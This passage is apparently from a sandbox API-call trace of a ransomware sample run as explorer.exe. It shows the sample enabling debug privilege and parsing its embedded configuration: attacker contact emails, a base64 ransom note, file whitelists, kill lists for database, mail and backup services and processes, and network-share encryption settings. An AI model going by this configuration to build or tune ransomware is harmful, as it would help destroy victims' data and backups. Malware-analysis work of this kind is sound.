	[0094.635] GetFileSizeEx (in: hFile=0xef0, lpFileSize=0x3073f8e8 | out: lpFileSize=0x3073f8e8*=613) returned 1
	[0094.635] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x261, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.635] ReadFile (in: hFile=0xef0, lpBuffer=0x3073f86c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3073f868, lpOverlapped=0x0 | out: lpBuffer=0x3073f86c*, lpNumberOfBytesRead=0x3073f868*=0x4, lpOverlapped=0x0) returned 1
	[0094.637] SetFilePointerEx (in: hFile=0xef0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47349f8
	[0094.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4734570
	[0094.637] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47345e8
	[0094.637] NtQuerySystemTime (in: CurrentTime=0x3073f848 | out: CurrentTime=0x3073f848*=132251868213690120) returned 0x0
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xc8ca2d1e
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xb3a55227
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x6621c91
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xd0f00959
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xea395fce
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xdf87c96d
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x30f44689
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x2892401a
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x8fb01ac8
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x9764718f
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x535ffd53
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xf61d1627
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x57c98560
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x7c850fca
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xa7f70512
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x36a46ed8
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x9083ff78
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x60369afe
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x903d0ae5
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x657f222c
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xebb309bf
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x9c18831d
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xd289e28
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x9ea54e32
	[0094.637] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x55043d98
	[0094.638] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x83100124
	[0094.638] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x9f13108f
	[0094.638] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xcdf3b961
	[0094.638] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xf8739cbe
	[0094.638] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0xbd6ff392
	[0094.638] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x67278b81
	[0094.638] RtlRandom (in: Seed=0x3073f854 | out: Seed=0x3073f854) returned 0x51691a53

Thread:
	id = 1421
	os_tid = 0x2254


Process:
	id = "3"
	image_name = "explorer.exe"
	filename = "c:\\windows\\syswow64\\explorer.exe"
	page_root = "0x6fa78000"
	os_pid = "0xd20"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x113c"
	cmd_line = "\"C:\\WINDOWS\\system32\\explorer.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 6
	os_tid = 0x67c

	[0060.240] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x254) returned 0x285c688
	[0060.317] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x6) returned 0x28666f0
	[0060.318] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0060.318] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0060.318] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xc) returned 0x2861c70
	[0060.318] RtlFreeAnsiString (AnsiString="N") 
	[0060.318] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0060.318] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x77850000) returned 0x0
	[0060.319] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2861c70) returned 1
	[0060.319] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28666f0) returned 1
	[0060.320] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x6) returned 0x28666f0
	[0060.320] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0060.320] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0060.320] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xc) returned 0x2861b68
	[0060.320] RtlFreeAnsiString (AnsiString="N") 
	[0060.320] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0060.320] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x77850000) returned 0x0
	[0060.320] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2861b68) returned 1
	[0060.320] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28666f0) returned 1
	[0060.321] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x6) returned 0x28666f0
	[0060.321] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0060.321] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0
	[0060.321] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xc) returned 0x2861aa8
	[0060.321] RtlFreeAnsiString (AnsiString="N") 
	[0060.321] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="NTDLL" | out: DestinationString="NTDLL") 
	[0060.321] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x77850000) returned 0x0
	[0060.321] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2861aa8) returned 1
	[0060.322] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28666f0) returned 1
	[0060.333] RtlInitUnicodeString (in: DestinationString=0x10f1b8, SourceString="mpr.dll" | out: DestinationString="mpr.dll") 
	[0060.333] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x10f1c4 | out: BaseAddress=0x10f1c4*=0x73780000) returned 0x0
	[0060.336] RtlInitUnicodeString (in: DestinationString=0x10f1b8, SourceString="netapi32.dll" | out: DestinationString="netapi32.dll") 
	[0060.336] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="netapi32.dll", BaseAddress=0x10f1c4 | out: BaseAddress=0x10f1c4*=0x73760000) returned 0x0
	[0060.341] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x7) returned 0x2866710
	[0060.342] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="SRVCLI" | out: DestinationString="SRVCLI") 
	[0060.342] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="SRVCLI", AllocateDestinationString=1 | out: DestinationString="SRVCLI") returned 0x0
	[0060.342] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xe) returned 0x2861b08
	[0060.342] RtlFreeAnsiString (AnsiString="S") 
	[0060.342] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="SRVCLI" | out: DestinationString="SRVCLI") 
	[0060.342] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="SRVCLI", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x73740000) returned 0x0
	[0060.344] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2861b08) returned 1
	[0060.344] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2866710) returned 1
	[0060.344] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x9) returned 0x2861b08
	[0060.344] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="NETUTILS" | out: DestinationString="NETUTILS") 
	[0060.345] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="NETUTILS", AllocateDestinationString=1 | out: DestinationString="NETUTILS") returned 0x0
	[0060.345] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x28685d0
	[0060.345] RtlFreeAnsiString (AnsiString="N") 
	[0060.345] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="NETUTILS" | out: DestinationString="NETUTILS") 
	[0060.345] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NETUTILS", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x73730000) returned 0x0
	[0060.347] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28685d0) returned 1
	[0060.347] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2861b08) returned 1
	[0060.347] RtlInitUnicodeString (in: DestinationString=0x10f1b8, SourceString="ole32.dll" | out: DestinationString="ole32.dll") 
	[0060.347] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="ole32.dll", BaseAddress=0x10f1c4 | out: BaseAddress=0x10f1c4*=0x76470000) returned 0x0
	[0060.352] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1b) returned 0x286c0d8
	[0060.352] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.352] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0060.352] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x36) returned 0x286f648
	[0060.352] RtlFreeAnsiString (AnsiString="a") 
	[0060.352] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.352] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x77130000) returned 0x0
	[0060.352] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f648) returned 1
	[0060.352] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286c0d8) returned 1
	[0060.352] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1b) returned 0x286bef8
	[0060.352] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.352] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0060.352] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x36) returned 0x286f948
	[0060.352] RtlFreeAnsiString (AnsiString="a") 
	[0060.352] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.352] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x77130000) returned 0x0
	[0060.352] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286f948) returned 1
	[0060.353] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286bef8) returned 1
	[0060.353] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1b) returned 0x286bef8
	[0060.353] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.353] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0060.353] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x36) returned 0x286fa08
	[0060.353] RtlFreeAnsiString (AnsiString="a") 
	[0060.353] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.353] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x77130000) returned 0x0
	[0060.353] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fa08) returned 1
	[0060.353] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286bef8) returned 1
	[0060.353] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1b) returned 0x286bef8
	[0060.353] RtlInitAnsiString (in: DestinationString=0x10f140, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.353] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f148, SourceString="api-ms-win-core-com-l1-1-0", AllocateDestinationString=1 | out: DestinationString="api-ms-win-core-com-l1-1-0") returned 0x0
	[0060.353] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x36) returned 0x286fc48
	[0060.353] RtlFreeAnsiString (AnsiString="a") 
	[0060.353] RtlInitUnicodeString (in: DestinationString=0x10f14c, SourceString="api-ms-win-core-com-l1-1-0" | out: DestinationString="api-ms-win-core-com-l1-1-0") 
	[0060.353] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="api-ms-win-core-com-l1-1-0", BaseAddress=0x10f158 | out: BaseAddress=0x10f158*=0x77130000) returned 0x0
	[0060.353] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286fc48) returned 1
	[0060.353] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x286bef8) returned 1
	[0060.354] RtlInitUnicodeString (in: DestinationString=0x10f1b8, SourceString="psapi.dll" | out: DestinationString="psapi.dll") 
	[0060.354] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="psapi.dll", BaseAddress=0x10f1c4 | out: BaseAddress=0x10f1c4*=0x77830000) returned 0x0
	[0060.356] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x10f11c | out: lpLuid=0x10f11c*(LowPart=0x14, HighPart=0)) returned 1
	[0060.360] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x10f0f8 | out: TokenHandle=0x10f0f8*=0x2f4) returned 0x0
	[0060.360] AdjustTokenPrivileges (in: TokenHandle=0x2f4, DisableAllPrivileges=0, NewState=0x10f10c*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0060.360] GetLastError () returned 0x0
	[0060.363] FindResourceA (hModule=0x140000, lpName=0x7a69, lpType=0x539) returned 0x158048
	[0060.363] LoadResource (hModule=0x140000, hResInfo=0x158048) returned 0x158058
	[0060.363] LockResource (hResData=0x158058) returned 0x158058
	[0060.363] SizeofResource (hModule=0x140000, hResInfo=0x158048) returned 0x14fd
	[0060.363] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x14fd) returned 0x2871980
	[0060.363] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x5) returned 0x2866710
	[0060.365] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x100) returned 0x285bec8
	[0060.365] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x100) returned 0x2859bb8
	[0060.365] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2859bb8) returned 1
	[0060.365] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285bec8) returned 1
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868750
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2866720
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28685f0
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2866770
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x28684d0
	[0060.366] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2866770, Size=0x8) returned 0x28730c8
	[0060.366] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x18) returned 0x2868570
	[0060.366] strtol (in: _Str="0,\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"kkeessnnkkaa@cock.li\",\"hhaaxxhhaaxx@tuta.io\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",        \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",        \"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",        \"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft\\\\provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\x09\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\x09\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\x09\"*\\\\program file*\\\\windowspowershell\",\x09\"*\\\\program file*\\\\cuass*\", \x09\"*\\\\program file*\\\\microsoft games\", \"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\x09\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\", \"*media player\",\x09\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\x09\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"]}\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":30,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]}\"net\":{\"use\":true, \"ignore\": {  \"use\":true,  \"disk\":true,  \"share\":[\"ipc$\",\"admin$\"] }}\"unlocker\":{\"use\":true,  \"ignore\": {  \"use\":true,  \"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\"],  \"prc\":[\"psexec.exe\",\"system\"] }}}", _EndPtr=0x10f0d0, _Radix=0 | out: _EndPtr=0x10f0d0*=",\"thr\":1500,\"spsz\":51200,\"namesz\":8,\"idsz\":5, 